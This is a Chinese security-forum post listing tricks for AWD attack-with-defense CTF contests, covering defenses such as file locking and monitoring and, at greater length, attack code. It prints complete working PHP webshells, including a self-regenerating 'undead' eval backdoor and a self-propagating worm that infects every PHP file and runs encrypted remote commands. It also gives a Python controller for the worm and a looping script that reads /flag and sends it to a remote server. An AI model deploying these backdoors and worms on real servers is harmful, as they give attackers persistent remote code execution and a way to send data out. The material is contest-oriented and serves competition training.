安全矩阵

 找回密码
 立即注册
搜索
查看: 2435|回复: 0

AWD中的那些Sao操作

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2021-4-20 10:50:52 | 显示全部楼层 |阅读模式
AWD中的那些Sao操作
防守

  • 常规步骤:备份,上waf
  • 利用chattr命令给文件上锁,防止被删站
chatter: 锁定文件,不能删除,不能更改
+a: 只能给文件添加内容,但是删除不了,
chattr +a/etc/passwd
-d: 不可删除
加锁:chattr +i/etc/passwd  文件不能删除,不能更改,不能移动
查看加锁:lsattr/etc/passwd  文件加了一个参数 i 表示锁定
解锁:chattr -i/home/omd/h.txt  - 表示解除

  • 文件监控脚本


  1. #!/usr/bin/python
  2. #coding=utf-8
  3. #作用:读取被修改过的文件,然后将文件的地址加上内容全部存放在txt

  4. import sys,subprocess,os
  5. #查找最近10分钟被修改的文件
  6. def scanfile():
  7.     #command: find -name '*.php' -mmin -10
  8.     command = "find -name \'*.php\' -mmin -10"
  9.     su = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
  10.     STDOUT,STDERR = su.communicate()
  11.     list = STDOUT.split("\n")
  12.     #print str(list)
  13.     #将文件处理成list类型然后返回。
  14.     return list


  15. #读取文件:
  16. def loadfile(addr):
  17.     data = ""
  18.     #如果文件不存在就跳出函数
  19.     try :
  20.         file = open(addr,'r')
  21.         data = file.read()
  22.     except :
  23.         return 0
  24.     all_data = addr+"\n"+data+"\n\n"
  25.     file1 = open("shell.txt",'a+')
  26.     #避免重复写入
  27.     try:
  28.         shell_content = file1.read()
  29.     except:
  30.         shell_content = "null"
  31.     #如果文件内容不为空再写入,避免写入空的。
  32.     #print shell_content
  33.     if data :
  34.         if all_data not in shell_content:
  35.             file1.write(all_data)
  36.     file.close()
  37.     file1.close()
  38.     rm_cmd = "rm -rf "+addr
  39.     su = subprocess.Popen(rm_cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
  40.     su.communicate()
  41.     print "loadfile over : "+addr


  42. if __name__ == '__main__':
  43.     while True:


  44.         list = scanfile()
  45.         if list :
  46.             for i in range(len(list)):
  47.                 #如果list[i]为空就不读取了
  48.                 if list[i]:
  49.                     loadfile(str(list[i]))
  50.         else : pass
复制代码
  • 利用.user.ini配置文件使所有的php文件包含指定文件
  • 常规操作:使所以php文件都包含waf

  1. auto_prepend_file=waf.php//具体路径和根据实际情况自行改写
复制代码

  • Sao操作:


分别创建两个php文件一个命名为6.php一个为2.jpg
  1. //6.php
  2. <?php
  3. echo '66666'
  4. ?>
复制代码

  1. //2.jpg
  2. <?php
  3. if(@$_GET['shell']=='test'){
  4.        phpinfo();
  5.     }
  6. ?>
复制代码
创建.user.ini配置文件
  1. auto_prepend_file=2.jpg
复制代码
访问6.php  http://127.0.0.1/1/6.php

url后加上?shell=test后访问

php语句被成功执行
具体用来做什么就看你自己的脑洞了

攻击

  • 常规操作:不死马维权

  1. <?php
  2. ignore_user_abort(true);
  3. set_time_limit(0);
  4. unlink(__FILE__);
  5. $file = '.logout.php';
  6. $code = '<?php if(md5($_GET["pass"])=="21232f297a57a5a743894a0e4a801fc3"){eval($_POST["a"]);} ?>';
  7. while (1){
  8.   file_put_contents($file,$code);
  9.   usleep(8);
  10. }
  11. ?>
复制代码
激活不死马:访问 不死马地址?pass=admin (ps:21232f297a57a5a743894a0e4a801fc3是admin的md5值)
不死马使用:激活后会每隔8秒生成一个.logout.php文件,这是个md5加密的马(如果有文件包含可以生成其他格式的马,利用文件包含将其解析成php)。利用蚁剑连接,地址:不死马地址?pass=admin 密码a

  • 恶心的操作:蠕虫webshell实现批量挂马


蠕虫webshell是实行批量挂马的操作,利用此webshell可以在所有php文件中加上shell语句的包括phpmyadmin文件,可能唯一的解决方法就是删站。

shell文件:
  1. <?php
  2. $tips = 'AWD_Light_Check';
  3. //这个是后面检查的是否感染头,如果没有,就会重写这个php
  4. error_reporting(0);
  5. $Serv_Num = 159;
  6. //这个变量是要写入其他文件头部的本页行数,因为感染了其他php要互相感染,不能把其他原有php代码写入到其他php,会乱套。
  7. $arr_dir = array();
  8. //全局变量,扫到的文件夹
  9. $files = array();
  10. //全局变量,扫到的文件
  11. if (!function_exists('Url_Check')) {
  12.   function Url_Check() {
  13.     $pageURL = 'http';
  14.     if ($_SERVER["HTTPS"] == "on") {
  15.       $pageURL .= "s";
  16.     }
  17.     $pageURL .= '://';
  18.     $pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"];
  19.     return $pageURL;
  20.   }
  21.   function file_check($dir) {
  22.     //扫描文件夹
  23.     global $arr_dir;
  24.     global $files;
  25.     if (is_dir($dir)) {
  26.       if ($handle = opendir($dir)) {
  27.         while (($file = readdir($handle)) !== false) {
  28.           if ($file != '.' && $file != "..") {
  29.             if (is_dir($dir . "/" . $file)) {
  30.               $arr_dir[] = $dir;
  31.               $files[$file] = file_check($dir . "/" . $file);
  32.               //拼接文件
  33.             } else {
  34.               $arr_dir[] = $dir;
  35.               $files[] = $dir . "/" . $file;
  36.             }
  37.           }
  38.         }
  39.       }
  40.     }
  41.     closedir($handle);
  42.     $arr_dir = array_unique($arr_dir);
  43.     //去重
  44.   }
  45.   function write_conf() {
  46.     #每个目录创一个马
  47.             global $Serv_Num;
  48.     global $arr_dir;
  49.     foreach ($arr_dir as $dir_path) {
  50.       // echo '<br>'.$dir_path;
  51.       $srcode = '';
  52.       $localtext = file(__FILE__);
  53.       for ($i = 0; $i < $Serv_Num; $i++) {
  54.         $srcode .= $localtext[$i];
  55.       }
  56.       //所有文件夹都生成一个webshell
  57.       // echo "<span style='color:#666'></span> " . $dir_path . "/.Conf_check.php" . "<br/>";
  58.       $le = Url_Check();
  59.       echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $dir_path . "/.Conf_check.php") . '</iframe>';
  60.       fputs(fopen($dir_path . "/.Conf_check.php", "w"), $srcode);
  61.     }
  62.     // 当前目录所有php被感染
  63.   }
  64.   function vul_tran() {
  65.     //每个文件夹递归生成一个默认的马以及感染当前目录所有php文件。所谓感染就是把自身固定的代码插入到其他php文件中,甚至可以加注释符号或者退出函数exit();控制其他页面的可用性。不过要注意一下,是当前目录,这样响应速度会快很多,亲测如果是一次性感染全部目录的php文件后续会引发py客户端响应超时及其他bug,所以改过来了。
  66.     //######
  67.     global $Serv_Num;
  68.     $pdir = dirname(__FILE__);
  69.     //要获取的目录
  70.     //先判断指定的路径是不是一个文件夹
  71.     if (is_dir($pdir)) {
  72.       if ($dh = opendir($pdir)) {
  73.         while (($fi = readdir($dh)) != false) {
  74.           //文件名的全路径 包含文件名
  75.           $file_Path = $pdir . '/' . $fi;
  76.           if (strpos($file_Path, '.php')) {
  77.             //筛选当前目录.php后缀
  78.             $le = Url_Check();
  79.             $file_Path = str_replace('\\', '/', $file_Path);
  80.             echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $file_Path) . '</iframe>';
  81.             $ftarget = file($file_Path);
  82.             if (!strpos($ftarget[0], 'AWD_Light_Check')) {
  83.               //检查头部是否传播
  84.               $scode = '';
  85.               $localtext = file(__FILE__);
  86.               for ($i = 0; $i < $Serv_Num; $i++) {
  87.                 $scode .= $localtext[$i];
  88.               }
  89.               $code_check = '';
  90.               $file_check = fopen($file_Path, "r");
  91.               //复制要传播的文件代码,进行重写
  92.               while (!feof($file_check)) {
  93.                 $code_check .= fgets($file_check) . "\n";
  94.               }
  95.               fclose($file_check);
  96.               $webpage = fopen($file_Path, "w");
  97.               fwrite($webpage, $scode . $code_check);
  98.               fclose($webpage);
  99.             }
  100.           }
  101.         }
  102.         closedir($dh);
  103.       }
  104.     }
  105.   }
  106. }
  107. ///////////////////////////////////////////////////////////////////////////////////
  108. //主函数
  109. try {
  110.   //定义特征才启动传播模式,特征值为_
  111.   if (isset($_GET['_'])) {
  112.     $host = Url_Check();
  113.     file_check($_SERVER['DOCUMENT_ROOT']);
  114.     //全局扫描
  115.     write_conf();
  116.     //写入单文件
  117.     vul_tran();
  118.     //感染当前目录
  119.   } elseif (isset($_GET['time']) && isset($_GET['salt']) && isset($_GET['sign'])) {
  120.     #客户端数字签名校验
  121.             $Check_key = '9c82746189f3d1815f1e6bfe259dac29';
  122.     $Check_api = $_GET['check'];
  123.     $timestamp = $_GET['time'];
  124.     $salt = $_GET['salt'];
  125.     $csign = $_GET['sign'];
  126.     $sign = md5($Check_api . $Check_key . $timestamp . $salt);
  127.     if ($sign === $csign) {
  128.       $nomal_test = '';
  129.       for ($i = 0; $i < strlen($Check_api); $i++) {
  130.         $nomal_test .= chr(ord($Check_api[$i]) ^ $i % $salt);
  131.       }
  132.       $nomal_test = base64_decode($nomal_test);
  133.       $nowtime = time();
  134.       if (abs($nowtime - $timestamp) <= 5) {
  135.         $enc = base64_encode(rawurlencode(` {
  136.           $nomal_test
  137.         }
  138.         `));
  139.         //解密并执行命令在加密返回
  140.         $pieces = explode("i", $enc);
  141.         $final = "";
  142.         foreach ($pieces as $val) {
  143.           $final .= $val . "cAFAcABAAswTA2GE2c";
  144.         }
  145.         $final = str_replace("=", ":kcehc_revres", $final);
  146.         echo strrev(substr($final, 0, strlen($final) - 18));
  147.         exit;
  148.       } else {
  149.         header('HTTP/1.1 500 Internal Server Error');
  150.       }
  151.     } else {
  152.       header('HTTP/1.1 500 Internal Server Error');
  153.     }
  154.   } else {
  155.     header('HTTP/1.1 500 Internal Server Error');
  156.   }
  157. }
  158. catch (Exception $e2) {
  159. }
复制代码
python连接脚本:
  1. #!/usr/bin/env python2.7
  2. # -*- coding:utf-8 -*-
  3. from urllib import unquote
  4. import base64
  5. import time
  6. from random import random
  7. from hashlib import md5
  8. import requests
  9. import traceback
  10. passwd = 'admin'
  11. webshell_url = 'http://192.168.75.134/wuhen.php'


  12. cmd='ifconfig'


  13. def getSerTime(url):
  14.     ser_time_format = '%a, %d %b %Y %H:%M:%S GMT'
  15.     r = requests.get(url, allow_redirects=False)
  16.     if r.headers['Date']:
  17.         stimestrp = time.strptime(r.headers['Date'], ser_time_format)
  18.         stime = time.mktime(stimestrp) + 60 * 60 * 8    # GMT + 8 时区
  19.         timeskew = int(time.time()) - int(stime)
  20.         return timeskew
  21.     else:
  22.         return None
  23. # 加密
  24. def encrypt(string, salt, encoding='utf-8'):
  25.     estring = ''
  26.     b64string = base64.b64encode(string.encode(encoding)).decode('utf-8')
  27.     for n, char in enumerate(b64string):
  28.         estring += chr(ord(char) ^ n % salt)
  29.     return estring
  30. # 解密
  31. def decrypt(estring, salt, encoding='utf-8'):
  32.     data=estring[::-1].replace('cAFAcABAAswTA2GE2c','i').replace(':kcehc_revres','=').encode('unicode_escape').decode("string_escape")
  33.     string=unquote(base64.urlsafe_b64decode(data))
  34.     string=unicode(string, "gb2312").encode("utf8")#windows有中文乱码去掉这个注释,linux去掉这行,不然会报错
  35.     return string
  36. # 命令执行
  37. def excmd(url, passwd, cmd, encoding='utf-8'):
  38.     try:
  39.         timeskew = getSerTime('/'.join(url.split('/')[:-1]))
  40.         # 校对服务器时间,防止时间差造成API校验失败
  41.         nowtime = int(time.time())
  42.         if timeskew == None:
  43.             print('检查服务器时间出错,请手动确认服务器时间!')
  44.             # 手动获取服务器时间戳,并保存到servtime变量中,int类型
  45.             # Linux下获取方法:date +%s
  46.             servtime = 1540891350
  47.             nowtime = servtime
  48.         else:
  49.             nowtime -= timeskew
  50.         # 开始发起请求
  51.         passwd = md5(passwd.encode('utf-8')).hexdigest()
  52.         salt = int(random() * 100)
  53.         ecmd = encrypt(cmd, salt)
  54.         sign_tmp = ecmd + passwd + str(nowtime) + str(salt)
  55.         sign = md5(sign_tmp.encode('utf-8')).hexdigest()
  56.         parameters = {
  57.             'time': nowtime,
  58.             'check': ecmd,
  59.             'salt': salt,
  60.             'sign': sign
  61.         }
  62.         head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
  63.                 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  64.                 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
  65.                 'Connection': 'close',
  66.                 'Upgrade-Insecure-Requests': '1',
  67.                 'Cache-Control': 'max-age=0'}
  68.         r = requests.get(url, params=parameters, headers=head,timeout=3)
  69.         # r = requests.post(url, data=parameters, headers=head, proxies={'http': 'http://127.0.0.1:8080'}),
  70.         if '0:' in r.text:print '执行成功:',
  71.         res = decrypt(r.content.decode('utf-8').replace('0:',''), salt, encoding)
  72.         return res
  73.     except Exception as e:
  74.         pass
  75.         # print('参数配置错误,连接异常err:%s'%str(e))
  76.         traceback.print_exc()
  77. def main():
  78.     r = excmd(webshell_url, passwd, cmd)
  79.     print(r)
  80.    
  81. if __name__ == '__main__':


  82.     main()
复制代码
具体使用方法参考:https://www.jianshu.com/p/90158b3b6b96

  • 蠕虫webshell替代品:大马
有些大马也支持批量挂马,不同大马具体功能不同,大马在提权方面有很大用处

  • 损人利己式:自动删站脚本
自动删站脚本和不死马一样,运行后驻扎在进程中,每隔特定时间便删除目标站点,使得目标被无限check

  • 自动化提交flag脚本
此脚本运行在被攻击服务器上,每隔特定时间自动向flag服务器提交flag

  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. ignore_user_abort(true);
  5. unlink(__FILE__);


  6. //下面是基础的配置,需要自己根据情况配置一下
  7. $mode = "post";                                  //提交flag的方法,send为直接提交,save为将flag传回本地保存
  8. $token = "**************************";           //你的队伍token
  9. $server_ip = "SERVER URL";                       //提交flag的服务器地址或者将flag传回本地的地址,eg: http://172.123.0.1:8888/check.php
  10. $flag_path = "/flag";                            //flag的路径,默认为/flag
  11. $sleep_time = 300;                              //自动提交间隔,单位 秒 ,默认为五分钟
  12. //以下配置只适用于mode为send的时候
  13. if($mode === "send"){
  14.     $method = "post";                             //提交flag的方法,只有GET或POST,默认POST,若为其他字符串,则以post方式请求
  15.     $parameter = array(                          //需要传过去的参数,可以根据比赛更改
  16.         "token" => $token,
  17.         "flag" => '',
  18.     );
  19. }
  20. //配置结束


  21. function submit_flag($flag){
  22.     global $server_ip, $parameter,$method;
  23.     $curl = curl_init();
  24.     $parameter['flag'] = $flag;
  25.     if(strtoupper($method) === "GET"){
  26.         $url = $server_ip . '?' . http_build_query($parameter);
  27.         file_get_contents($url);
  28.     }
  29.     else if(strtoupper($method) === "POST"){
  30.         $data = http_build_query($parameter);
  31.         $opt = array(
  32.             'http' => array(
  33.                 'method' => 'POST',
  34.                 'header' => "Content-type: application/x-www-form-urlencoded\r\n". "Content-Length: " . strlen($data) . "\r\n",
  35.                 'content' => $data
  36.             )
  37.         );
  38.         $context = stream_context_create($opt);
  39.         file_get_contents($server_ip, false,$context);
  40.     }
  41.     else{
  42.         $data = http_build_query($parameter);
  43.         $opt = array(
  44.             'http' => array(
  45.                 'method' => 'POST',
  46.                 'header' => "Content-type: application/x-www-form-urlencoded\r\n". "Content-Length: " . strlen($data) . "\r\n",
  47.                 'content' => $data
  48.             )
  49.         );
  50.         $context = stream_context_create($opt);
  51.         file_get_contents($server_ip, false,$context);
  52.     }
  53. }


  54. function recv_flag($flag){
  55.     global $server_ip, $parameter;
  56.     $parameter['flag'] = $flag;
  57.     $url = $server_ip . '?' . http_build_query($parameter);
  58.     $result = file_get_contents($url);
  59.     if ($result === "Failed"){
  60.         submit_flag($flag);
  61.     }
  62. }




  63. while (1){
  64.     $flag = file_get_contents($flag_path);
  65.     if($mode === "send"){
  66.         submit_flag($flag);
  67.     }else{
  68.         recv_flag($flag);
  69.     }
  70.     usleep($sleep_time * 1000);
  71. }
复制代码
如果需要将flag传回自己的服务器只需在自己的服务器中运行以下脚本:
  1. <?php
  2. //配置
  3. $save_path = 'flags.txt';           //保存flag的文件


  4. if(isset($_GET['flag'])){
  5.     $f = fopen($save_path, 'a');
  6.     fwrite($f, $_GET['flag']."\r\n");
  7.     fclose($f);
  8.     echo "Success";
  9. }
  10. die("Failed");
  11. ?>
复制代码

ps:flag.txt未加密读取里面的flag后及时删除里面的内容,防止被其他队伍利用

  • 神奇链接:软链接
将flag文件与其他文件连接起来,使得访问目标文件便可读取的flag
ln -s /原文件或目录 /目标文件或目录(软链接文件或目录)

  • 利用命令执行漏洞写入shell

偷大佬的图????????????

awd的骚操作远远不止这些
还得靠各位大佬多多研究
多多搜集,暂且先写这些吧
下课!

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-21 05:48 , Processed in 0.013863 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表